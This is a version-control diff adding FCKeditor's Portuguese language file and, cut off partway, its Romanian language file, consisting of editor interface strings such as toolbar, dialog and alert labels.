+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: pt.js
+ * 	Portuguese language file.
+ * 
+ * File Authors:
+ * 		Francisco Pereira (fjpereira@netcabo.pt)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Fechar Barra",
+ToolbarExpand		: "Expandir Barra",
+
+// Toolbar Items and Context Menu
+Save				: "Guardar",
+NewPage				: "Nova Página",
+Preview				: "Pré-visualizar",
+Cut					: "Cortar",
+Copy				: "Copiar",
+Paste				: "Colar",
+PasteText			: "Colar como texto não formatado",
+PasteWord			: "Colar do Word",
+Print				: "Imprimir",
+SelectAll			: "Seleccionar Tudo",
+RemoveFormat		: "Eliminar Formato",
+InsertLinkLbl		: "Hiperligação",
+InsertLink			: "Inserir/Editar Hiperligação",
+RemoveLink			: "Eliminar Hiperligação",
+Anchor				: " Inserir/Editar Âncora",
+InsertImageLbl		: "Imagem",
+InsertImage			: "Inserir/Editar Imagem",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Inserir/Editar Flash",
+InsertTableLbl		: "Tabela",
+InsertTable			: "Inserir/Editar Tabela",
+InsertLineLbl		: "Linha",
+InsertLine			: "Inserir Linha Horizontal",
+InsertSpecialCharLbl: "Caracter Especial",
+InsertSpecialChar	: "Inserir Caracter Especial",
+InsertSmileyLbl		: "Emoticons",
+InsertSmiley		: "Inserir Emoticons",
+About				: "Acerca do FCKeditor",
+Bold				: "Negrito",
+Italic				: "Itálico",
+Underline			: "Sublinhado",
+StrikeThrough		: "Rasurado",
+Subscript			: "Superior à Linha",
+Superscript			: "Inferior à Linha",
+LeftJustify			: "Alinhar à Esquerda",
+CenterJustify		: "Alinhar ao Centro",
+RightJustify		: "Alinhar à Direita",
+BlockJustify		: "Justificado",
+DecreaseIndent		: "Diminuir Avanço",
+IncreaseIndent		: "Aumentar Avanço",
+Undo				: "Anular",
+Redo				: "Repetir",
+NumberedListLbl		: "Numeração",
+NumberedList		: "Inserir/Eliminar Numeração",
+BulletedListLbl		: "Marcas",
+BulletedList		: "Inserir/Eliminar Marcas",
+ShowTableBorders	: "Mostrar Limites da Tabelas",
+ShowDetails			: "Mostrar Parágrafo",
+Style				: "Estilo",
+FontFormat			: "Formato",
+Font				: "Tipo de Letra",
+FontSize			: "Tamanho",
+TextColor			: "Cor do Texto",
+BGColor				: "Cor de Fundo",
+Source				: "Fonte",
+Find				: "Procurar",
+Replace				: "Substituir",
+SpellCheck			: "Verificação Ortográfica",
+UniversalKeyboard	: "Teclado Universal",
+PageBreakLbl		: "Quebra de Página",
+PageBreak			: "Inserir Quebra de Página",
+
+Form			: "Formulário",
+Checkbox		: "Caixa de Verificação",
+RadioButton		: "Botão de Opção",
+TextField		: "Campo de Texto",
+Textarea		: "Área de Texto",
+HiddenField		: "Campo Escondido",
+Button			: "Botão",
+SelectionField	: "Caixa de Combinação",
+ImageButton		: "Botão de Imagem",
+
+FitWindow		: "Maximizar o tamanho do editor",
+
+// Context Menu
+EditLink			: "Editar Hiperligação",
+CellCM				: "Célula",
+RowCM				: "Linha",
+ColumnCM			: "Coluna",
+InsertRow			: "Inserir Linha",
+DeleteRows			: "Eliminar Linhas",
+InsertColumn		: "Inserir Coluna",
+DeleteColumns		: "Eliminar Coluna",
+InsertCell			: "Inserir Célula",
+DeleteCells			: "Eliminar Célula",
+MergeCells			: "Unir Células",
+SplitCell			: "Dividir Célula",
+TableDelete			: "Eliminar Tabela",
+CellProperties		: "Propriedades da Célula",
+TableProperties		: "Propriedades da Tabela",
+ImageProperties		: "Propriedades da Imagem",
+FlashProperties		: "Propriedades do Flash",
+
+AnchorProp			: "Propriedades da Âncora",
+ButtonProp			: "Propriedades do Botão",
+CheckboxProp		: "Propriedades da Caixa de Verificação",
+HiddenFieldProp		: "Propriedades do Campo Escondido",
+RadioButtonProp		: "Propriedades do Botão de Opção",
+ImageButtonProp		: "Propriedades do Botão de imagens",
+TextFieldProp		: "Propriedades do Campo de Texto",
+SelectionFieldProp	: "Propriedades da Caixa de Combinação",
+TextareaProp		: "Propriedades da Área de Texto",
+FormProp			: "Propriedades do Formulário",
+
+FontFormats			: "Normal;Formatado;Endereço;Título 1;Título 2;Título 3;Título 4;Título 5;Título 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "A Processar XHTML. Por favor, espere...",
+Done				: "Concluído",
+PasteWordConfirm	: "O texto que deseja parece ter sido copiado do Word. Deseja limpar a formatação antes de colar?",
+NotCompatiblePaste	: "Este comando só está disponível para Internet Explorer versão 5.5 ou superior. Deseja colar sem limpar a formatação?",
+UnknownToolbarItem	: "Item de barra desconhecido \"%1\"",
+UnknownCommand		: "Nome de comando desconhecido \"%1\"",
+NotImplemented		: "Comando não implementado",
+UnknownToolbarSet	: "Nome de barra \"%1\" não definido",
+NoActiveX			: "As definições de segurança do navegador podem limitar algumas potencalidades do editr. Deve activar a opção \"Executar controlos e extensões ActiveX\". Pode ocorrer erros ou verificar que faltam potencialidades.",
+BrowseServerBlocked : "Não foi possível abrir o navegador de recursos. Certifique-se que todos os bloqueadores de popup estão desactivados.",
+DialogBlocked		: "Não foi possível abrir a janela de diálogo. Certifique-se que todos os bloqueadores de popup estão desactivados.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Cancelar",
+DlgBtnClose			: "Fechar",
+DlgBtnBrowseServer	: "Navegar no Servidor",
+DlgAdvancedTag		: "Avançado",
+DlgOpOther			: "<Outro>",
+DlgInfoTab			: "Informação",
+DlgAlertUrl			: "Por favor introduza o URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<Não definido>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Orientação de idioma",
+DlgGenLangDirLtr	: "Esquerda à Direita (LTR)",
+DlgGenLangDirRtl	: "Direita a Esquerda (RTL)",
+DlgGenLangCode		: "Código de Idioma",
+DlgGenAccessKey		: "Chave de Acesso",
+DlgGenName			: "Nome",
+DlgGenTabIndex		: "Índice de Tubulação",
+DlgGenLongDescr		: "Descrição Completa do URL",
+DlgGenClass			: "Classes de Estilo de Folhas Classes",
+DlgGenTitle			: "Título",
+DlgGenContType		: "Tipo de Conteúdo",
+DlgGenLinkCharset	: "Fonte de caracteres vinculado",
+DlgGenStyle			: "Estilo",
+
+// Image Dialog
+DlgImgTitle			: "Propriedades da Imagem",
+DlgImgInfoTab		: "Informação da Imagem",
+DlgImgBtnUpload		: "Enviar para o Servidor",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Carregar",
+DlgImgAlt			: "Texto Alternativo",
+DlgImgWidth			: "Largura",
+DlgImgHeight		: "Altura",
+DlgImgLockRatio		: "Proporcional",
+DlgBtnResetSize		: "Tamanho Original",
+DlgImgBorder		: "Limite",
+DlgImgHSpace		: "Esp.Horiz",
+DlgImgVSpace		: "Esp.Vert",
+DlgImgAlign			: "Alinhamento",
+DlgImgAlignLeft		: "Esquerda",
+DlgImgAlignAbsBottom: "Abs inferior",
+DlgImgAlignAbsMiddle: "Abs centro",
+DlgImgAlignBaseline	: "Linha de base",
+DlgImgAlignBottom	: "Fundo",
+DlgImgAlignMiddle	: "Centro",
+DlgImgAlignRight	: "Direita",
+DlgImgAlignTextTop	: "Topo do texto",
+DlgImgAlignTop		: "Topo",
+DlgImgPreview		: "Pré-visualizar",
+DlgImgAlertUrl		: "Por favor introduza o URL da imagem",
+DlgImgLinkTab		: "Hiperligação",
+
+// Flash Dialog
+DlgFlashTitle		: "Propriedades do Flash",
+DlgFlashChkPlay		: "Reproduzir automaticamente",
+DlgFlashChkLoop		: "Loop",
+DlgFlashChkMenu		: "Permitir Menu do Flash",
+DlgFlashScale		: "Escala",
+DlgFlashScaleAll	: "Mostrar tudo",
+DlgFlashScaleNoBorder	: "Sem Limites",
+DlgFlashScaleFit	: "Tamanho Exacto",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Hiperligação",
+DlgLnkInfoTab		: "Informação de Hiperligação",
+DlgLnkTargetTab		: "Destino",
+
+DlgLnkType			: "Tipo de Hiperligação",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Referência a esta página",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocolo",
+DlgLnkProtoOther	: "<outro>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Seleccionar una referência",
+DlgLnkAnchorByName	: "Por Nome de Referência",
+DlgLnkAnchorById	: "Por ID de elemento",
+DlgLnkNoAnchors		: "<Não há referências disponíveis no documento>",
+DlgLnkEMail			: "Endereço de E-Mail",
+DlgLnkEMailSubject	: "Título de Mensagem",
+DlgLnkEMailBody		: "Corpo da Mensagem",
+DlgLnkUpload		: "Carregar",
+DlgLnkBtnUpload		: "Enviar ao Servidor",
+
+DlgLnkTarget		: "Destino",
+DlgLnkTargetFrame	: "<Frame>",
+DlgLnkTargetPopup	: "<Janela de popup>",
+DlgLnkTargetBlank	: "Nova Janela(_blank)",
+DlgLnkTargetParent	: "Janela Pai (_parent)",
+DlgLnkTargetSelf	: "Mesma janela (_self)",
+DlgLnkTargetTop		: "Janela primaria (_top)",
+DlgLnkTargetFrameName	: "Nome do Frame Destino",
+DlgLnkPopWinName	: "Nome da Janela de Popup",
+DlgLnkPopWinFeat	: "Características de Janela de Popup",
+DlgLnkPopResize		: "Ajustável",
+DlgLnkPopLocation	: "Barra de localização",
+DlgLnkPopMenu		: "Barra de Menu",
+DlgLnkPopScroll		: "Barras de deslocamento",
+DlgLnkPopStatus		: "Barra de Estado",
+DlgLnkPopToolbar	: "Barra de Ferramentas",
+DlgLnkPopFullScrn	: "Janela Completa (IE)",
+DlgLnkPopDependent	: "Dependente (Netscape)",
+DlgLnkPopWidth		: "Largura",
+DlgLnkPopHeight		: "Altura",
+DlgLnkPopLeft		: "Posição Esquerda",
+DlgLnkPopTop		: "Posição Direita",
+
+DlnLnkMsgNoUrl		: "Por favor introduza a hiperligação URL",
+DlnLnkMsgNoEMail	: "Por favor introduza o endereço de e-mail",
+DlnLnkMsgNoAnchor	: "Por favor seleccione uma referência",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Seleccionar Cor",
+DlgColorBtnClear	: "Nenhuma",
+DlgColorHighlight	: "Destacado",
+DlgColorSelected	: "Seleccionado",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Inserir um Emoticon",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Seleccione um caracter especial",
+
+// Table Dialog
+DlgTableTitle		: "Propriedades da Tabela",
+DlgTableRows		: "Linhas",
+DlgTableColumns		: "Colunas",
+DlgTableBorder		: "Tamanho do Limite",
+DlgTableAlign		: "Alinhamento",
+DlgTableAlignNotSet	: "<Não definido>",
+DlgTableAlignLeft	: "Esquerda",
+DlgTableAlignCenter	: "Centrado",
+DlgTableAlignRight	: "Direita",
+DlgTableWidth		: "Largura",
+DlgTableWidthPx		: "pixeis",
+DlgTableWidthPc		: "percentagem",
+DlgTableHeight		: "Altura",
+DlgTableCellSpace	: "Esp. e/células",
+DlgTableCellPad		: "Esp. interior",
+DlgTableCaption		: "Título",
+DlgTableSummary		: "Sumário",
+
+// Table Cell Dialog
+DlgCellTitle		: "Propriedades da Célula",
+DlgCellWidth		: "Largura",
+DlgCellWidthPx		: "pixeis",
+DlgCellWidthPc		: "percentagem",
+DlgCellHeight		: "Altura",
+DlgCellWordWrap		: "Moldar Texto",
+DlgCellWordWrapNotSet	: "<Não definido>",
+DlgCellWordWrapYes	: "Sim",
+DlgCellWordWrapNo	: "Não",
+DlgCellHorAlign		: "Alinhamento Horizontal",
+DlgCellHorAlignNotSet	: "<Não definido>",
+DlgCellHorAlignLeft	: "Esquerda",
+DlgCellHorAlignCenter	: "Centrado",
+DlgCellHorAlignRight: "Direita",
+DlgCellVerAlign		: "Alinhamento Vertical",
+DlgCellVerAlignNotSet	: "<Não definido>",
+DlgCellVerAlignTop	: "Topo",
+DlgCellVerAlignMiddle	: "Médio",
+DlgCellVerAlignBottom	: "Fundi",
+DlgCellVerAlignBaseline	: "Linha de Base",
+DlgCellRowSpan		: "Unir Linhas",
+DlgCellCollSpan		: "Unir Colunas",
+DlgCellBackColor	: "Cor do Fundo",
+DlgCellBorderColor	: "Cor do Limite",
+DlgCellBtnSelect	: "Seleccione...",
+
+// Find Dialog
+DlgFindTitle		: "Procurar",
+DlgFindFindBtn		: "Procurar",
+DlgFindNotFoundMsg	: "O texto especificado não foi encontrado.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Substituir",
+DlgReplaceFindLbl		: "Texto a Procurar:",
+DlgReplaceReplaceLbl	: "Substituir por:",
+DlgReplaceCaseChk		: "Maiúsculas/Minúsculas",
+DlgReplaceReplaceBtn	: "Substituir",
+DlgReplaceReplAllBtn	: "Substituir Tudo",
+DlgReplaceWordChk		: "Coincidir com toda a palavra",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "A configuração de segurança do navegador não permite a execução automática de operações de colar. Por favor use o teclado (Ctrl+V).",
+PasteErrorCut	: "A configuração de segurança do navegador não permite a execução automática de operações de cortar. Por favor use o teclado (Ctrl+X).",
+PasteErrorCopy	: "A configuração de segurança do navegador não permite a execução automática de operações de copiar. Por favor use o teclado (Ctrl+C).",
+
+PasteAsText		: "Colar como Texto Simples",
+PasteFromWord	: "Colar do Word",
+
+DlgPasteMsg2	: "Por favor, cole dentro da seguinte caixa usando o teclado (<STRONG>Ctrl+V</STRONG>) e prima <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorar da definições do Tipo de Letra ",
+DlgPasteRemoveStyles	: "Remover as definições de Estilos",
+DlgPasteCleanBox		: "Caixa de Limpeza",
+
+// Color Picker
+ColorAutomatic	: "Automático",
+ColorMoreColors	: "Mais Cores...",
+
+// Document Properties
+DocProps		: "Propriedades do Documento",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Propriedades da Âncora",
+DlgAnchorName		: "Nome da Âncora",
+DlgAnchorErrorName	: "Por favor, introduza o nome da âncora",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Não está num directório",
+DlgSpellChangeTo		: "Mudar para",
+DlgSpellBtnIgnore		: "Ignorar",
+DlgSpellBtnIgnoreAll	: "Ignorar Tudo",
+DlgSpellBtnReplace		: "Substituir",
+DlgSpellBtnReplaceAll	: "Substituir Tudo",
+DlgSpellBtnUndo			: "Anular",
+DlgSpellNoSuggestions	: "- Sem sugestões -",
+DlgSpellProgress		: "Verificação ortográfica em progresso…",
+DlgSpellNoMispell		: "Verificação ortográfica completa: não foram encontrados erros",
+DlgSpellNoChanges		: "Verificação ortográfica completa: não houve alteração de palavras",
+DlgSpellOneChange		: "Verificação ortográfica completa: uma palavra alterada",
+DlgSpellManyChanges		: "Verificação ortográfica completa: %1 palavras alteradas",
+
+IeSpellDownload			: " Verificação ortográfica não instalada. Quer descarregar agora?",
+
+// Button Dialog
+DlgButtonText		: "Texto (Valor)",
+DlgButtonType		: "Tipo",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nome",
+DlgCheckboxValue	: "Valor",
+DlgCheckboxSelected	: "Seleccionado",
+
+// Form Dialog
+DlgFormName		: "Nome",
+DlgFormAction	: "Acção",
+DlgFormMethod	: "Método",
+
+// Select Field Dialog
+DlgSelectName		: "Nome",
+DlgSelectValue		: "Valor",
+DlgSelectSize		: "Tamanho",
+DlgSelectLines		: "linhas",
+DlgSelectChkMulti	: "Permitir selecções múltiplas",
+DlgSelectOpAvail	: "Opções Possíveis",
+DlgSelectOpText		: "Texto",
+DlgSelectOpValue	: "Valor",
+DlgSelectBtnAdd		: "Adicionar",
+DlgSelectBtnModify	: "Modificar",
+DlgSelectBtnUp		: "Para cima",
+DlgSelectBtnDown	: "Para baixo",
+DlgSelectBtnSetValue : "Definir um valor por defeito",
+DlgSelectBtnDelete	: "Apagar",
+
+// Textarea Dialog
+DlgTextareaName	: "Nome",
+DlgTextareaCols	: "Colunas",
+DlgTextareaRows	: "Linhas",
+
+// Text Field Dialog
+DlgTextName			: "Nome",
+DlgTextValue		: "Valor",
+DlgTextCharWidth	: "Tamanho do caracter",
+DlgTextMaxChars		: "Nr. Máximo de Caracteres",
+DlgTextType			: "Tipo",
+DlgTextTypeText		: "Texto",
+DlgTextTypePass		: "Palavra-chave",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nome",
+DlgHiddenValue	: "Valor",
+
+// Bulleted List Dialog
+BulletedListProp	: "Propriedades da Marca",
+NumberedListProp	: "Propriedades da Numeração",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tipo",
+DlgLstTypeCircle	: "Circulo",
+DlgLstTypeDisc		: "Disco",
+DlgLstTypeSquare	: "Quadrado",
+DlgLstTypeNumbers	: "Números (1, 2, 3)",
+DlgLstTypeLCase		: "Letras Minúsculas (a, b, c)",
+DlgLstTypeUCase		: "Letras Maiúsculas (A, B, C)",
+DlgLstTypeSRoman	: "Numeração Romana em Minúsculas (i, ii, iii)",
+DlgLstTypeLRoman	: "Numeração Romana em Maiúsculas (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Geral",
+DlgDocBackTab		: "Fundo",
+DlgDocColorsTab		: "Cores e Margens",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Título da Página",
+DlgDocLangDir		: "Orientação de idioma",
+DlgDocLangDirLTR	: "Esquerda à Direita (LTR)",
+DlgDocLangDirRTL	: "Direita à Esquerda (RTL)",
+DlgDocLangCode		: "Código de Idioma",
+DlgDocCharSet		: "Codificação de Caracteres",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Outra Codificação de Caracteres",
+
+DlgDocDocType		: "Tipo de Cabeçalho do Documento",
+DlgDocDocTypeOther	: "Outro Tipo de Cabeçalho do Documento",
+DlgDocIncXHTML		: "Incluir Declarações XHTML",
+DlgDocBgColor		: "Cor de Fundo",
+DlgDocBgImage		: "Caminho para a Imagem de Fundo",
+DlgDocBgNoScroll	: "Fundo Fixo",
+DlgDocCText			: "Texto",
+DlgDocCLink			: "Hiperligação",
+DlgDocCVisited		: "Hiperligação Visitada",
+DlgDocCActive		: "Hiperligação Activa",
+DlgDocMargins		: "Margem das Páginas",
+DlgDocMaTop			: "Topo",
+DlgDocMaLeft		: "Esquerda",
+DlgDocMaRight		: "Direita",
+DlgDocMaBottom		: "Fundo",
+DlgDocMeIndex		: "Palavras de Indexação do Documento (separadas por virgula)",
+DlgDocMeDescr		: "Descrição do Documento",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Direitos de Autor",
+DlgDocPreview		: "Pré-visualizar",
+
+// Templates Dialog
+Templates			: "Modelos",
+DlgTemplatesTitle	: "Modelo de Conteúdo",
+DlgTemplatesSelMsg	: "Por favor, seleccione o modelo a abrir no editor<br>(o conteúdo actual será perdido):",
+DlgTemplatesLoading	: "A carregar a lista de modelos. Aguarde por favor...",
+DlgTemplatesNoTpl	: "(Sem modelos definidos)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Acerca",
+DlgAboutBrowserInfoTab	: "Informação do Nevegador",
+DlgAboutLicenseTab	: "Licença",
+DlgAboutVersion		: "versão",
+DlgAboutLicense		: "Licenciado segundo os términos de GNU Lesser General Public License",
+DlgAboutInfo		: "Para mais informações por favor dirija-se a"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ro.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ro.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ro.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: ro.js
+ * 	Romanian language file.
+ * 
+ * File Authors:
+ * 		Adrian Nicoara
+ * 		Ionut Traian Popa
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Ascunde bara cu opţiuni",
+ToolbarExpand		: "Expandează bara cu opţiuni",
+
+// Toolbar Items and Context Menu
+Save				: "Salvează",
+NewPage				: "Pagină nouă",
+Preview				: "Previzualizare",
+Cut					: "Taie",
+Copy				: "Copiază",
+Paste				: "Adaugă",
+PasteText			: "Adaugă ca text simplu",
+PasteWord			: "Adaugă din Word",
+Print				: "Printează",
+SelectAll			: "Selectează tot",
+RemoveFormat		: "Înlătură formatarea",
+InsertLinkLbl		: "Link (Legătură web)",
+InsertLink			: "Inserează/Editează link (legătură web)",
+RemoveLink			: "Înlătură link (legătură web)",
+Anchor				: "Inserează/Editează ancoră",
+InsertImageLbl		: "Imagine",
+InsertImage			: "Inserează/Editează imagine",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Inserează/Editează flash",
+InsertTableLbl		: "Tabel",
+InsertTable			: "Inserează/Editează tabel",
+InsertLineLbl		: "Linie",
+InsertLine			: "Inserează linie orizontă",
+InsertSpecialCharLbl: "Caracter special",
+InsertSpecialChar	: "Inserează caracter special",
+InsertSmileyLbl		: "Figură expresivă (Emoticon)",
+InsertSmiley		: "Inserează Figură expresivă (Emoticon)",
+About				: "Despre FCKeditor",
+Bold				: "Îngroşat (bold)",
+Italic				: "Înclinat (italic)",
+Underline			: "Subliniat (underline)",
+StrikeThrough		: "Tăiat (strike through)",
+Subscript			: "Indice (subscript)",
+Superscript			: "Putere (superscript)",
+LeftJustify			: "Aliniere la stânga",
+CenterJustify		: "Aliniere centrală",
+RightJustify		: "Aliniere la dreapta",
+BlockJustify		: "Aliniere în bloc (Block Justify)",
+DecreaseIndent		: "Scade indentarea",
+IncreaseIndent		: "Creşte indentarea",
+Undo				: "Starea anterioară (undo)",
+Redo				: "Starea ulterioară (redo)",
+NumberedListLbl		: "Listă numerotată",
+NumberedList		: "Inserează/Şterge listă numerotată",
+BulletedListLbl		: "Listă cu puncte",
+BulletedList		: "Inserează/Şterge listă cu puncte",
+ShowTableBorders	: "Arată marginile tabelului",
+ShowDetails			: "Arată detalii",
+Style				: "Stil",
+FontFormat			: "Formatare",
+Font				: "Font",
+FontSize			: "Mărime",
+TextColor			: "Culoarea textului",
+BGColor				: "Coloarea fundalului",
+Source				: "Sursa",
+Find				: "Găseşte",
+Replace				: "Înlocuieşte",
+SpellCheck			: "Verifică text",
+UniversalKeyboard	: "Tastatură universală",
+PageBreakLbl		: "Separator de pagină (Page Break)",
+PageBreak			: "Inserează separator de pagină (Page Break)",
+
+Form			: "Formular (Form)",
+Checkbox		: "Bifă (Checkbox)",
+RadioButton		: "Buton radio (RadioButton)",
+TextField		: "Câmp text (TextField)",
+Textarea		: "Suprafaţă text (Textarea)",
+HiddenField		: "Câmp ascuns (HiddenField)",
+Button			: "Buton",
+SelectionField	: "Câmp selecţie (SelectionField)",
+ImageButton		: "Buton imagine (ImageButton)",
+
+FitWindow		: "Maximizează mărimea editorului",
+
+// Context Menu
+EditLink			: "Editează Link",
+CellCM				: "Celulă",
+RowCM				: "Linie",
+ColumnCM			: "Coloană",
+InsertRow			: "Inserează linie",
+DeleteRows			: "Şterge linii",
+InsertColumn		: "Inserează coloană",
+DeleteColumns		: "Şterge celule",
+InsertCell			: "Inserează celulă",
+DeleteCells			: "Şterge celule",
+MergeCells			: "Uneşte celule",
+SplitCell			: "Împarte celulă",
+TableDelete			: "Şterge tabel",
+CellProperties		: "Proprietăţile celulei",
+TableProperties		: "Proprietăţile tabelului",
+ImageProperties		: "Proprietăţile imaginii",
+FlashProperties		: "Proprietăţile flash-ului",
+
+AnchorProp			: "Proprietăţi ancoră",
+ButtonProp			: "Proprietăţi buton",
+CheckboxProp		: "Proprietăţi bifă (Checkbox)",
+HiddenFieldProp		: "Proprietăţi câmp ascuns (Hidden Field)",
+RadioButtonProp		: "Proprietăţi buton radio (Radio Button)",
+ImageButtonProp		: "Proprietăţi buton imagine (Image Button)",
+TextFieldProp		: "Proprietăţi câmp text (Text Field)",
+SelectionFieldProp	: "Proprietăţi câmp selecţie (Selection Field)",
+TextareaProp		: "Proprietăţi suprafaţă text (Textarea)",
+FormProp			: "Proprietăţi formular (Form)",
+
+FontFormats			: "Normal;Formatat;Adresa;Titlu 1;Titlu 2;Titlu 3;Titlu 4;Titlu 5;Titlu 6;Paragraf (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Procesăm XHTML. Vă rugăm aşteptaţi...",
+Done				: "Am terminat",
+PasteWordConfirm	: "Textul pe care doriţi să-l adăugaţi pare a fi formatat pentru Word. Doriţi să-l curăţaţi de această formatare înainte de a-l adăuga?",
+NotCompatiblePaste	: "Această facilitate e disponibilă doar pentru Microsoft Internet Explorer, versiunea 5.5 sau ulterioară. Vreţi să-l adăugaţi fără a-i fi înlăturat formatarea?",
+UnknownToolbarItem	: "Obiectul \"%1\" din bara cu opţiuni necunoscut",
+UnknownCommand		: "Comanda \"%1\" necunoscută",
+NotImplemented		: "Comandă neimplementată",
+UnknownToolbarSet	: "Grupul din bara cu opţiuni \"%1\" nu există",
+NoActiveX			: "Setările de securitate ale programului dvs. cu care navigaţi pe internet (browser) pot limita anumite funcţionalităţi ale editorului. Pentru a evita asta, trebuie să activaţi opţiunea \"Run ActiveX controls and plug-ins\". Poate veţi întâlni erori sau veţi observa funcţionalităţi lipsă.",
+BrowseServerBlocked : "The resources browser could not be opened. Asiguraţi-vă că nu e activ niciun \"popup blocker\" (funcţionalitate a programului de navigat (browser) sau a unui plug-in al acestuia de a bloca deschiderea unui noi ferestre).",
+DialogBlocked		: "Nu a fost posibilă deschiderea unei ferestre de dialog. Asiguraţi-vă că nu e activ niciun \"popup blocker\" (funcţionalitate a programului de navigat (browser) sau a unui plug-in al acestuia de a bloca deschiderea unui noi ferestre).",
+
+// Dialogs
+DlgBtnOK			: "Bine",
+DlgBtnCancel		: "Anulare",
+DlgBtnClose			: "Închidere",
+DlgBtnBrowseServer	: "Răsfoieşte server",
+DlgAdvancedTag		: "Avansat",
+DlgOpOther			: "<Altul>",
+DlgInfoTab			: "Informaţii",
+DlgAlertUrl			: "Vă rugăm să scrieţi URL-ul",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<nesetat>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Direcţia cuvintelor",
+DlgGenLangDirLtr	: "stânga-dreapta (LTR)",
+DlgGenLangDirRtl	: "dreapta-stânga (RTL)",
+DlgGenLangCode		: "Codul limbii",
+DlgGenAccessKey		: "Tasta de acces",
+DlgGenName			: "Nume",
+DlgGenTabIndex		: "Indexul tabului",
+DlgGenLongDescr		: "Descrierea lungă URL",
+DlgGenClass			: "Clasele cu stilul paginii (CSS)",
+DlgGenTitle			: "Titlul consultativ",
+DlgGenContType		: "Tipul consultativ al titlului",
+DlgGenLinkCharset	: "Setul de caractere al resursei legate",
+DlgGenStyle			: "Stil",
+
+// Image Dialog
+DlgImgTitle			: "Proprietăţile imaginii",
+DlgImgInfoTab		: "Informaţii despre imagine",
+DlgImgBtnUpload		: "Trimite la server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Încarcă",
+DlgImgAlt			: "Text alternativ",
+DlgImgWidth			: "Lăţime",
+DlgImgHeight		: "Înălţime",
+DlgImgLockRatio		: "Păstrează proporţiile",
+DlgBtnResetSize		: "Resetează mărimea",
+DlgImgBorder		: "Margine",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Aliniere",
+DlgImgAlignLeft		: "Stânga",
+DlgImgAlignAbsBottom: "Jos absolut (Abs Bottom)",
+DlgImgAlignAbsMiddle: "Mijloc absolut (Abs Middle)",
+DlgImgAlignBaseline	: "Linia de jos (Baseline)",
+DlgImgAlignBottom	: "Jos",
+DlgImgAlignMiddle	: "Mijloc",
+DlgImgAlignRight	: "Dreapta",
+DlgImgAlignTextTop	: "Text sus",
+DlgImgAlignTop		: "Sus",
+DlgImgPreview		: "Previzualizare",
+DlgImgAlertUrl		: "Vă rugăm să scrieţi URL-ul imaginii",
+DlgImgLinkTab		: "Link (Legătură web)",
+
+// Flash Dialog
+DlgFlashTitle		: "Proprietăţile flash-ului",
+DlgFlashChkPlay		: "Rulează automat",
+DlgFlashChkLoop		: "Repetă (Loop)",
+DlgFlashChkMenu		: "Activează meniul flash",
+DlgFlashScale		: "Scală",
